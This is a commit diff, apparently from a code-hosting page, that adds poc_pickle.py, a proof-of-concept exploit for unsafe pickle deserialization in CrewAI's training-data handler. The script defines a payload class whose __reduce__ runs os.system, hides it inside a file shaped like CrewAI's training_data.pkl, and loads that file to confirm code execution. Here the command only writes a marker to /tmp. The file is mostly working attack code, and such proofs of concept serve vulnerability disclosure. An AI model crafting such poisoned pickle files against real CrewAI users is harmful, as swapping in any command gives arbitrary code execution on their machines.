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2e2e866
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1 Parent(s): 95efcb7

Add PoC exploit script

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  1. poc_pickle.py +62 -0
poc_pickle.py ADDED
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+ """
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+ PoC: Arbitrary Code Execution via pickle.load in CrewAI Training Data Handler
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+
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+ CrewAI's PickleHandler.load() calls pickle.load() on training data files
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+ (training_data.pkl, trained_agents_data.pkl) without any safety checks.
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+
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+ Usage:
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+ python poc_pickle.py
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+
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+ This creates a malicious training_data.pkl and demonstrates code execution
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+ when CrewAI loads it during agent training.
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+ """
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+
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+ import pickle
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+ import os
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+ import sys
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+ import tempfile
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+
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+ class MaliciousPayload:
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+ """Pickle payload that executes arbitrary code on deserialization."""
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+ def __reduce__(self):
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+ return (os.system, ("echo CREWAI_PICKLE_RCE_POC_EXECUTED > /tmp/crewai_pwned.txt",))
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+
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+ def create_malicious_training_data(output_path):
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+ """Create a malicious training_data.pkl file."""
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+ # Structure mimics real CrewAI training data format
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+ malicious_data = {
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+ "1": {
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+ "agent": "researcher",
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+ "task": MaliciousPayload(), # Payload embedded in task data
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+ "human_feedback": "good",
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+ }
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+ }
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+ with open(output_path, "wb") as f:
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+ pickle.dump(malicious_data, f)
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+ print(f"[+] Malicious training_data.pkl created: {output_path}")
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+ print(f" Size: {os.path.getsize(output_path)} bytes")
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+
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+ def demonstrate_rce(pkl_path):
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+ """Load the malicious pickle file as CrewAI would."""
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+ print(f"[*] Loading malicious pickle via pickle.load()...")
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+ print(f"[*] This replicates crewai/utilities/file_handler.py PickleHandler.load()")
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+ try:
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+ with open(pkl_path, "rb") as f:
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+ data = pickle.load(f)
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+ print(f"[!] Code execution triggered during pickle.load()")
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+ except Exception as e:
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+ print(f"[*] Exception: {e}")
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+
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+ marker = "/tmp/crewai_pwned.txt"
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+ if os.path.exists(marker):
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+ with open(marker) as f:
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+ print(f"[+] RCE CONFIRMED: {f.read().strip()}")
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+ os.remove(marker)
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+ else:
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+ print("[*] Check for marker file to confirm execution")
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+
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+ if __name__ == "__main__":
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+ with tempfile.TemporaryDirectory() as tmpdir:
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+ pkl_path = os.path.join(tmpdir, "training_data.pkl")
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+ create_malicious_training_data(pkl_path)
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+ demonstrate_rce(pkl_path)